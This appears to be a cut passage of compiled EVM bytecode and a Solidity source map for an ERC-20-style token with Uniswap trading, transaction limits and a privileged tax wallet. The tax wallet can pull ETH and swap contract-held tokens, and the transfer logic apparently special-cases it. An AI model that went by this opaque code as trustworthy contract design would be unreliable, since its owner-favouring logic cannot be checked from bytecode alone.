681565b6040516001600160a01b03909116815260200161015b565b348015610246575f80fd5b5061024f610430565b005b34801561025c575f80fd5b506101a861026b36600461176b565b6001600160a01b03165f9081526001602052604090205490565b348015610290575f80fd5b5061024f610481565b3480156102a4575f80fd5b5061024f6104fb565b3480156102b8575f80fd5b506101a8600c5481565b3480156102cd575f80fd5b5061024f6105b9565b3480156102e1575f80fd5b505f546001600160a01b0316610223565b3480156102fd575f80fd5b506101a8600d5481565b348015610312575f80fd5b5061024f610970565b348015610326575f80fd5b50610183610335366004611703565b610a03565b348015610345575f80fd5b506101a8600e5481565b34801561035a575f80fd5b506101a8610369366004611786565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039f338484610a0f565b5060015b92915050565b5f6103b66009600a6118b1565b6103c490633b9aca006118bf565b905090565b5f6103d5848484610b33565b610426843361042185604051806060016040528060288152602001611a53602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110cf565b610a0f565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461044f575f80fd5b305f90815260016020526040902054801561046d5761046d81611107565b47801561047d5761047d816112b0565b5050565b5f546001600160a01b031633146104b35760405162461bcd60e51b81526004016104aa906118d6565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105245760405162461bcd60e51b81526004016104aa906118d6565b6105306009600a6118b1565b61053e90633b9aca006118bf565b600c5561054d6009600a6118b1565b61055b90633b9aca006118bf565b600d556011805460ff60b81b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105986009600a6118b1565b6105a690633b9aca006118bf565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105e25760405162461bcd60e51b81526004016104aa906118d6565b601154600160a01b900460ff161561063c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104aa565b61066f30737a250d5630b4cf539739df2c5dacb4c659f2488d6106616009600a6118b1565b61042190633b9aca006118bf565b6011805460ff60b01b1916600160b01b1790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9163c45a01559160048083019260209291908290030181865afa1580156106d0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106f4919061190b565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610753573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610777919061190b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107e5919061190b565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f806108465f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108ac573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108d19190611926565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af1158015610936573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095a9190611951565b506011805460ff60a01b1916600160a01b179055565b5f47116109b85760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379022aa24103a379031b632b0b960511b60448201526064016104aa565b6010546001600160a01b0316336001600160a01b0316146109d7575f80fd5b60405133904780156108fc02915f818181858888f19350505050158015610a00573d5f803e3d5ffd5b50565b5f61039f338484610b33565b6001600160a01b038316610a715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104aa565b6001600160a01b038216610ad25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104aa565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104aa565b6001600160a01b038216610bf95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104aa565b5f8111610c5a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104aa565b601154600160b01b900460ff161580610c7c5750601154600160a81b900460ff165b15610c9157610c8c8383836112e7565b505050565b6011546001600160a01b0383811691811691821491908516145f610cbc5f546001600160a01b031690565b6001600160a01b0316866001600160a01b031614158015610cea57505f546001600160a01b03868116911614155b8015610d0457506010546001600160a01b03868116911614155b15610f4d57610d356064610d2f600854600b5411610d2457600454610d28565b6006545b879061138a565b9061140f565b9050818015610d6157506001600160a01b038516737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610d8557506001600160a01b0385165f9081526003602052604090205460ff16155b15610e7d57601154600160b81b900460ff1615610e6857600c54841115610dee5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104aa565b600d5484610e10876001600160a01b03165f9081526001602052604090205490565b610e1a9190611970565b1115610e685760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104aa565b600b8054905f610e7783611983565b91905055505b828015610e9357506001600160a01b0386163014155b15610ec057610ebd6064610d2f600954600b5411610eb357600554610d28565b600754879061138a565b90505b305f90815260016020526040902054601154600160a81b900460ff16158015610ee65750835b8015610efb5750601154600160b01b900460ff165b8015610f085750600e5481115b8015610f175750600a54600b54115b15610f4b57610f39610f3486610f2f84600f54611450565b611450565b611107565b478015610f4957610f49476112b0565b505b505b6001600160a01b0386165f9081526003602052604090205460ff1680610f8a57506001600160a01b0385165f9081526003602052604090205460ff165b8015610f9f57506001600160a01b0386163014155b8015610fb457506001600160a01b0385163014155b15610fbe57436013555b6001600160a01b0386165f9081526003602052604090205460ff16158015610ffe57506001600160a01b0385165f9081526003602052604090205460ff16155b156110bb5782611089576001600160a01b0385165f90815260146020526040902082156110515780545f0361104c57600a54600b541061103e5743611049565b61104960014361199b565b81555b611083565b6001600160a01b0387165f90815260146020526040902081541580611077575081548154105b1561108157805482555b505b506110bb565b6001600160a01b0386165f90815260146020526040902060135481546110ae91611464565b6001820155436002909101555b6110c7868686846114a5565b505050505050565b5f81848411156110f25760405162461bcd60e51b81526004016104aa91906116ba565b505f6110fe848661199b565b95945050505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061114d5761114d6119ae565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111bd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111e1919061190b565b816001815181106111f4576111f46119ae565b60200260200101906001600160a01b031690816001600160a01b03168152505061123330737a250d5630b4cf539739df2c5dacb4c659f2488d84610a0f565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906112729085905f908690309042906004016119c2565b5f604051808303815f87803b158015611289575f80fd5b505af115801561129b573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561047d573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546113099082611464565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461133790826114cf565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b269085815260200190565b5f825f0361139957505f6103a3565b5f6113a483856118bf565b9050826113b18583611a33565b146114085760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104aa565b9392505050565b5f61140883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152d565b5f81831161145e5782611408565b50919050565b5f61140883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110cf565b5f6114b1858484611559565b90506114c88585836114c38787611464565b611609565b5050505050565b5f806114db8385611970565b9050838110156114085760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104aa565b5f818361154d5760405162461bcd60e51b81526004016104aa91906116ba565b505f6110fe8486611a33565b6010545f9081906001600160a01b039081169086160361158557601254611580908561138a565b611587565b835b9050821561160157305f908152600160205260409020546115a890846114cf565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115f89087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461162b9083611464565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461165990826114cf565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116ac9085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a00575f80fd5b5f8060408385031215611714575f80fd5b823561171f816116ef565b946020939093013593505050565b5f805f6060848603121561173f575f80fd5b833561174a816116ef565b9250602084013561175a816116ef565b929592945050506040919091013590565b5f6020828403121561177b575f80fd5b8135611408816116ef565b5f8060408385031215611797575f80fd5b82356117a2816116ef565b915060208301356117b2816116ef565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561180b57815f19048211156117f1576117f16117bd565b808516156117fe57918102915b93841c93908002906117d6565b509250929050565b5f82611821575060016103a3565b8161182d57505f6103a3565b8160018114611843576002811461184d57611869565b60019150506103a3565b60ff84111561185e5761185e6117bd565b50506001821b6103a3565b5060208310610133831016604e8410600b841016171561188c575081810a6103a3565b61189683836117d1565b805f19048211156118a9576118a96117bd565b029392505050565b5f61140860ff841683611813565b80820281158282048414176103a3576103a36117bd565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561191b575f80fd5b8151611408816116ef565b5f805f60608486031215611938575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611961575f80fd5b81518015158114611408575f80fd5b808201808211156103a3576103a36117bd565b5f60018201611994576119946117bd565b5060010190565b818103818111156103a3576103a36117bd565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611a125784516001600160a01b0316835293830193918301916001016119ed565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611a4d57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220190bbcc389adb791c1eb9a01bfba0918bb53738ffa0291c2e35d3fb7b2f71b3464736f6c63430008190033

Deployed Bytecode Sourcemap

3470:10261:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5592:83;;;;;;;;;;-1:-1:-1;5662:5:0;;;;;;;;;;;-1:-1:-1;;;5662:5:0;;;;5592:83;;;;5662:5;5592:83;:::i;:::-;;;;;;;;6425:161;;;;;;;;;;-1:-1:-1;6425:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6425:161:0;893:187:1;4608:51:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4608:51:0;1085:177:1;5869:95:0;;;;;;;;;;;;;:::i;6594:313::-;;;;;;;;;;-1:-1:-1;6594:313:0;;;;;:::i;:::-;;:::i;5778:83::-;;;;;;;;;;-1:-1:-1;5778:83:0;;4237:1;1870:36:1;;1858:2;1843:18;5778:83:0;1728:184:1;4709:28:0;;;;;;;;;;-1:-1:-1;4709:28:0;;;;-1:-1:-1;;;;;4709:28:0;;;;;;-1:-1:-1;;;;;2081:32:1;;;2063:51;;2051:2;2036:18;4709:28:0;1917:203:1;13139:362:0;;;;;;;;;;;;;:::i;:::-;;5972:119;;;;;;;;;;-1:-1:-1;5972:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6065:18:0;6038:7;6065:18;;;:9;:18;;;;;;;5972:119;731:148;;;;;;;;;;;;;:::i;12204:195::-;;;;;;;;;;;;;:::i;4419:54::-;;;;;;;;;;;;;;;;12507:587;;;;;;;;;;;;;:::i;517:79::-;;;;;;;;;;-1:-1:-1;555:7:0;582:6;-1:-1:-1;;;;;582:6:0;517:79;;4480:56;;;;;;;;;;;;;;;;13509:219;;;;;;;;;;;;;:::i;6099:167::-;;;;;;;;;;-1:-1:-1;6099:167:0;;;;;:::i;:::-;;:::i;4543:58::-;;;;;;;;;;;;;;;;6274:143;;;;;;;;;;-1:-1:-1;6274:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6382:18:0;;;6355:7;6382:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6274:143;6425:161;6500:4;6517:39;174:10;6540:7;6549:6;6517:8;:39::i;:::-;-1:-1:-1;6574:4:0;6425:161;;;;;:::o;5869:95::-;5922:7;4293:13;4237:1;4293:2;:13;:::i;:::-;4280:26;;:10;:26;:::i;:::-;5942:14;;5869:95;:::o;6594:313::-;6692:4;6709:36;6719:6;6727:9;6738:6;6709:9;:36::i;:::-;6756:121;6765:6;174:10;6787:89;6825:6;6787:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6787:19:0;;;;;;:11;:19;;;;;;;;174:10;6787:33;;;;;;;;;;:37;:89::i;:::-;6756:8;:121::i;:::-;-1:-1:-1;6895:4:0;6594:313;;;;;:::o;13139:362::-;13205:10;;-1:-1:-1;;;;;13205:10:0;174;-1:-1:-1;;;;;13189:26:0;;13181:35;;;;;;13268:4;13227:20;6065:18;;;:9;:18;;;;;;13289:16;;13285:77;;13320:30;13337:12;13320:16;:30::i;:::-;13393:21;13429:12;;13425:69;;13458:24;13471:10;13458:12;:24::i;:::-;13170:331;;13139:362::o;731:148::-;644:6;;-1:-1:-1;;;;;644:6:0;174:10;644:22;636:67;;;;-1:-1:-1;;;636:67:0;;;;;;;:::i;:::-;;;;;;;;;838:1:::1;822:6:::0;;801:40:::1;::::0;-1:-1:-1;;;;;822:6:0;;::::1;::::0;801:40:::1;::::0;838:1;;801:40:::1;869:1;852:19:::0;;-1:-1:-1;;;;;;852:19:0::1;::::0;;731:148::o;12204:195::-;644:6;;-1:-1:-1;;;;;644:6:0;174:10;644:22;636:67;;;;-1:-1:-1;;;636:67:0;;;;;;;:::i;:::-;4293:13:::1;4237:1;4293:2;:13;:::i;:::-;4280:26;::::0;:10:::1;:26;:::i;:::-;12260:12;:21:::0;4293:13:::1;4237:1;4293:2;:13;:::i;:::-;4280:26;::::0;:10:::1;:26;:::i;:::-;12292:14;:23:::0;12326:14:::1;:22:::0;;-1:-1:-1;;;;12326:22:0::1;::::0;;12364:27:::1;4293:13;4237:1;4293:2;:13;:::i;:::-;4280:26;::::0;:10:::1;:26;:::i;:::-;12364:27;::::0;1231:25:1;;;1219:2;1204:18;12364:27:0::1;;;;;;;12204:195::o:0;12507:587::-;644:6;;-1:-1:-1;;;;;644:6:0;174:10;644:22;636:67;;;;-1:-1:-1;;;636:67:0;;;;;;;:::i;:::-;12573:11:::1;::::0;-1:-1:-1;;;12573:11:0;::::1;;;12572:12;12564:47;;;::::0;-1:-1:-1;;;12564:47:0;;5015:2:1;12564:47:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:25;5073:18;;;5066:53;5136:18;;12564:47:0::1;4813:347:1::0;12564:47:0::1;12622:59;12639:4;4144:42;4293:13;4237:1;4293:2;:13;:::i;:::-;4280:26;::::0;:10:::1;:26;:::i;12622:59::-;12692:11;:18:::0;;-1:-1:-1;;;;12692:18:0::1;-1:-1:-1::0;;;12692:18:0::1;::::0;;12755:26:::1;::::0;;-1:-1:-1;;;12755:26:0;;;;4144:42:::1;::::0;12755:24:::1;::::0;:26:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;4144:42;12755:26:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12737:56:0::1;;12802:4;4144:42;-1:-1:-1::0;;;;;12809:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12737:96;::::0;-1:-1:-1;;;;;;12737:96:0::1;::::0;;;;;;-1:-1:-1;;;;;5651:15:1;;;12737:96:0::1;::::0;::::1;5633:34:1::0;5703:15;;5683:18;;;5676:43;5568:18;;12737:96:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12721:13;:112:::0;;-1:-1:-1;;;;;;12721:112:0::1;-1:-1:-1::0;;;;;12721:112:0;;;::::1;::::0;;;::::1;::::0;;12915:4:::1;-1:-1:-1::0;6065:18:0;;;-1:-1:-1;6065:18:0;;;;;;4144:42:::1;::::0;12844:32:::1;::::0;12884:21:::1;::::0;12915:4;12946:1:::1;12948::::0;12950:7:::1;555::::0;582:6;-1:-1:-1;;;;;582:6:0;;517:79;12950:7:::1;12844:130;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12844:130:0;;;-1:-1:-1;;;;;6089:15:1;;;12844:130:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;12958:15:0::1;6303:19:1::0;;;6296:35;6005:19;;12844:130:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12992:13:0::1;::::0;12985:72:::1;::::0;-1:-1:-1;;;12985:72:0;;4144:42:::1;12985:72;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;-1:-1:-1;;;;;12992:13:0;;::::1;::::0;-1:-1:-1;12985:29:0::1;::::0;6800:18:1;;12985:72:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13068:11:0::1;:18:::0;;-1:-1:-1;;;;13068:18:0::1;-1:-1:-1::0;;;13068:18:0::1;::::0;;12507:587::o;13509:219::-;13584:1;13560:21;:25;13552:60;;;;-1:-1:-1;;;13552:60:0;;7416:2:1;13552:60:0;;;7398:21:1;7455:2;7435:18;;;7428:30;-1:-1:-1;;;7474:18:1;;;7467:52;7536:18;;13552:60:0;7214:346:1;13552:60:0;13647:10;;-1:-1:-1;;;;;13647:10:0;174;-1:-1:-1;;;;;13631:26:0;;13623:35;;;;;;13669:51;;13677:10;;13698:21;13669:51;;;;;;;;;13698:21;13677:10;13669:51;;;;;;;;;;;;;;;;;;;;;13509:219::o;6099:167::-;6177:4;6194:42;174:10;6218:9;6229:6;6194:9;:42::i;7172:335::-;-1:-1:-1;;;;;7265:19:0;;7257:68;;;;-1:-1:-1;;;7257:68:0;;7767:2:1;7257:68:0;;;7749:21:1;7806:2;7786:18;;;7779:30;7845:34;7825:18;;;7818:62;-1:-1:-1;;;7896:18:1;;;7889:34;7940:19;;7257:68:0;7565:400:1;7257:68:0;-1:-1:-1;;;;;7344:21:0;;7336:68;;;;-1:-1:-1;;;7336:68:0;;8172:2:1;7336:68:0;;;8154:21:1;8211:2;8191:18;;;8184:30;8250:34;8230:18;;;8223:62;-1:-1:-1;;;8301:18:1;;;8294:32;8343:19;;7336:68:0;7970:398:1;7336:68:0;-1:-1:-1;;;;;7415:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7467:32;;1231:25:1;;;7467:32:0;;1204:18:1;7467:32:0;;;;;;;;7172:335;;;:::o;7515:3101::-;-1:-1:-1;;;;;7610:18:0;;7602:68;;;;-1:-1:-1;;;7602:68:0;;8575:2:1;7602:68:0;;;8557:21:1;8614:2;8594:18;;;8587:30;8653:34;8633:18;;;8626:62;-1:-1:-1;;;8704:18:1;;;8697:35;8749:19;;7602:68:0;8373:401:1;7602:68:0;-1:-1:-1;;;;;7689:16:0;;7681:64;;;;-1:-1:-1;;;7681:64:0;;8981:2:1;7681:64:0;;;8963:21:1;9020:2;9000:18;;;8993:30;9059:34;9039:18;;;9032:62;-1:-1:-1;;;9110:18:1;;;9103:33;9153:19;;7681:64:0;8779:399:1;7681:64:0;7778:1;7764:11;:15;7756:69;;;;-1:-1:-1;;;7756:69:0;;9385:2:1;7756:69:0;;;9367:21:1;9424:2;9404:18;;;9397:30;9463:34;9443:18;;;9436:62;-1:-1:-1;;;9514:18:1;;;9507:39;9563:19;;7756:69:0;9183:405:1;7756:69:0;7841:11;;-1:-1:-1;;;7841:11:0;;;;7840:12;;:21;;-1:-1:-1;7855:6:0;;-1:-1:-1;;;7855:6:0;;;;7840:21;7836:113;;;7879:37;7894:4;7900:2;7904:11;7879:14;:37::i;:::-;7515:3101;;;:::o;7836:113::-;7987:13;;-1:-1:-1;;;;;7981:19:0;;;7987:13;;;7981:19;;;;8030:21;;;;7961:17;8104:7;555;582:6;-1:-1:-1;;;;;582:6:0;;517:79;8104:7;-1:-1:-1;;;;;8098:13:0;:4;-1:-1:-1;;;;;8098:13:0;;;:28;;;;-1:-1:-1;555:7:0;582:6;-1:-1:-1;;;;;8115:11:0;;;582:6;;8115:11;;8098:28;:45;;;;-1:-1:-1;8133:10:0;;-1:-1:-1;;;;;8129:14:0;;;8133:10;;8129:14;;8098:45;8094:1274;;;8172:101;8269:3;8172:92;8219:15;;8207:9;;:27;8206:57;;8249:14;;8206:57;;;8236:12;;8206:57;8172:11;;:33;:92::i;:::-;:96;;:101::i;:::-;8160:113;;8294:11;:44;;;;-1:-1:-1;;;;;;8309:29:0;;4144:42;8309:29;;8294:44;:72;;;;-1:-1:-1;;;;;;8345:21:0;;;;;;:17;:21;;;;;;;;8343:23;8294:72;8290:372;;;8392:14;;-1:-1:-1;;;8392:14:0;;;;8388:229;;;8454:12;;8439:11;:27;;8431:64;;;;-1:-1:-1;;;8431:64:0;;9795:2:1;8431:64:0;;;9777:21:1;9834:2;9814:18;;;9807:30;9873:27;9853:18;;;9846:55;9918:18;;8431:64:0;9593:349:1;8431:64:0;8553:14;;8540:11;8526:13;8536:2;-1:-1:-1;;;;;6065:18:0;6038:7;6065:18;;;:9;:18;;;;;;;5972:119;8526:13;:25;;;;:::i;:::-;:41;;8518:79;;;;-1:-1:-1;;;8518:79:0;;10279:2:1;8518:79:0;;;10261:21:1;10318:2;10298:18;;;10291:30;10357:28;10337:18;;;10330:56;10403:18;;8518:79:0;10077:350:1;8518:79:0;8635:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8290:372;8681:12;:35;;;;-1:-1:-1;;;;;;8697:19:0;;8711:4;8697:19;;8681:35;8678:171;;;8749:84;8829:3;8749:75;8776:16;;8766:9;;:26;8765:58;;8808:15;;8765:58;;;8794:13;;8749:11;;:15;:75::i;:84::-;8737:96;;8678:171;8914:4;8865:28;6065:18;;;:9;:18;;;;;;8940:6;;-1:-1:-1;;;8940:6:0;;;;8939:7;:23;;;;;8950:12;8939:23;:38;;;;-1:-1:-1;8966:11:0;;-1:-1:-1;;;8966:11:0;;;;8939:38;:82;;;;;9004:17;;8981:20;:40;8939:82;:116;;;;;9037:18;;9025:9;;:30;8939:116;8935:422;;;9076:74;9093:56;9097:11;9110:38;9114:20;9136:11;;9110:3;:38::i;:::-;9093:3;:56::i;:::-;9076:16;:74::i;:::-;9196:21;9240:22;;9236:106;;9287:35;9300:21;9287:12;:35::i;:::-;9057:300;8935:422;8145:1223;8094:1274;-1:-1:-1;;;;;9385:23:0;;;;;;:17;:23;;;;;;;;;:49;;-1:-1:-1;;;;;;9413:21:0;;;;;;:17;:21;;;;;;;;9385:49;9384:73;;;;-1:-1:-1;;;;;;9438:19:0;;9452:4;9438:19;;9384:73;:95;;;;-1:-1:-1;;;;;;9461:18:0;;9474:4;9461:18;;9384:95;9380:172;;;9528:12;9506:19;:34;9380:172;-1:-1:-1;;;;;9568:23:0;;;;;;:17;:23;;;;;;;;9566:25;:52;;;;-1:-1:-1;;;;;;9597:21:0;;;;;;:17;:21;;;;;;;;9595:23;9566:52;9562:989;;;9639:12;9634:906;;-1:-1:-1;;;;;9711:16:0;;9673:35;9711:16;;;:12;:16;;;;;9746:527;;;;9790:20;;;:25;9786:162;;9877:18;;9867:9;;:28;:57;;9912:12;9867:57;;;9896:15;9910:1;9896:12;:15;:::i;:::-;9844:80;;9786:162;9746:527;;;-1:-1:-1;;;;;10036:18:0;;9996:37;10036:18;;;:12;:18;;;;;10081:20;;:25;;:74;;-1:-1:-1;10135:20:0;;10110:22;;:45;10081:74;10077:177;;;10208:22;;10185:45;;10077:177;9973:300;9746:527;9654:634;9634:906;;;-1:-1:-1;;;;;10353:18:0;;10313:37;10353:18;;;:12;:18;;;;;10443:19;;10416:22;;:47;;:26;:47::i;:::-;10390:23;;;:73;10512:12;10482:27;;;;:42;9634:906;10563:45;10578:4;10583:2;10586:11;10598:9;10563:14;:45::i;:::-;7589:3027;;;7515:3101;;;:::o;1241:190::-;1327:7;1363:12;1355:6;;;;1347:29;;;;-1:-1:-1;;;1347:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1387:9:0;1399:5;1403:1;1399;:5;:::i;:::-;1387:17;1241:190;-1:-1:-1;;;;;1241:190:0:o;11712:484::-;5219:6;:13;;-1:-1:-1;;;;5219:13:0;-1:-1:-1;;;5219:13:0;;;11814:16:::1;::::0;;11828:1:::1;11814:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11814:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11814:16:0::1;11790:40;;11859:4;11841;11846:1;11841:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;11841:23:0::1;;;-1:-1:-1::0;;;;;11841:23:0::1;;;::::0;::::1;4144:42;-1:-1:-1::0;;;;;11885:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11875:4;11880:1;11875:7;;;;;;;;:::i;:::-;;;;;;:33;-1:-1:-1::0;;;;;11875:33:0::1;;;-1:-1:-1::0;;;;;11875:33:0::1;;;::::0;::::1;11919:61;11936:4;4144:42;11968:11;11919:8;:61::i;:::-;11991:197;::::0;-1:-1:-1;;;11991:197:0;;4144:42:::1;::::0;11991:67:::1;::::0;:197:::1;::::0;12073:11;;12099:1:::1;::::0;12115:4;;12142::::1;::::0;12162:15:::1;::::0;11991:197:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5255:6:0;:14;;-1:-1:-1;;;;5255:14:0;;;-1:-1:-1;;;;11712:484:0:o;12407:92::-;12464:10;;:27;;-1:-1:-1;;;;;12464:10:0;;;;:27;;;;;12484:6;;12464:10;:27;:10;:27;12484:6;12464:10;:27;;;;;;;;;;;;;;;;;;;6915:249;-1:-1:-1;;;;;7022:15:0;;;;;;:9;:15;;;;;;:32;;7042:11;7022:19;:32::i;:::-;-1:-1:-1;;;;;7006:15:0;;;;;;;:9;:15;;;;;;:48;;;;7079:13;;;;;;;:30;;7097:11;7079:17;:30::i;:::-;-1:-1:-1;;;;;7065:13:0;;;;;;;:9;:13;;;;;;;:44;;;;7125:31;;;;;;;;;;7144:11;1231:25:1;;1219:2;1204:18;;1085:177;1439:246:0;1497:7;1521:1;1526;1521:6;1517:47;;-1:-1:-1;1551:1:0;1544:8;;1517:47;1574:9;1586:5;1590:1;1586;:5;:::i;:::-;1574:17;-1:-1:-1;1619:1:0;1610:5;1614:1;1574:17;1610:5;:::i;:::-;:10;1602:56;;;;-1:-1:-1;;;1602:56:0;;12378:2:1;1602:56:0;;;12360:21:1;12417:2;12397:18;;;12390:30;12456:34;12436:18;;;12429:62;-1:-1:-1;;;12507:18:1;;;12500:31;12548:19;;1602:56:0;12176:397:1;1602:56:0;1676:1;1439:246;-1:-1:-1;;;1439:246:0:o;1693:132::-;1751:7;1778:39;1782:1;1785;1778:39;;;;;;;;;;;;;;;;;:3;:39::i;11606:98::-;11663:7;11690:1;11688;:3;11687:9;;11695:1;11687:9;;;-1:-1:-1;11693:1:0;11606:98;-1:-1:-1;11606:98:0:o;1097:136::-;1155:7;1182:43;1186:1;1189;1182:43;;;;;;;;;;;;;;;;;:3;:43::i;10911:258::-;11020:15;11037:47;11055:4;11061:11;11074:9;11037:17;:47::i;:::-;11020:64;-1:-1:-1;11095:66:0;11115:4;11121:2;11020:64;11134:26;:11;11150:9;11134:15;:26::i;:::-;11095:19;:66::i;:::-;11009:1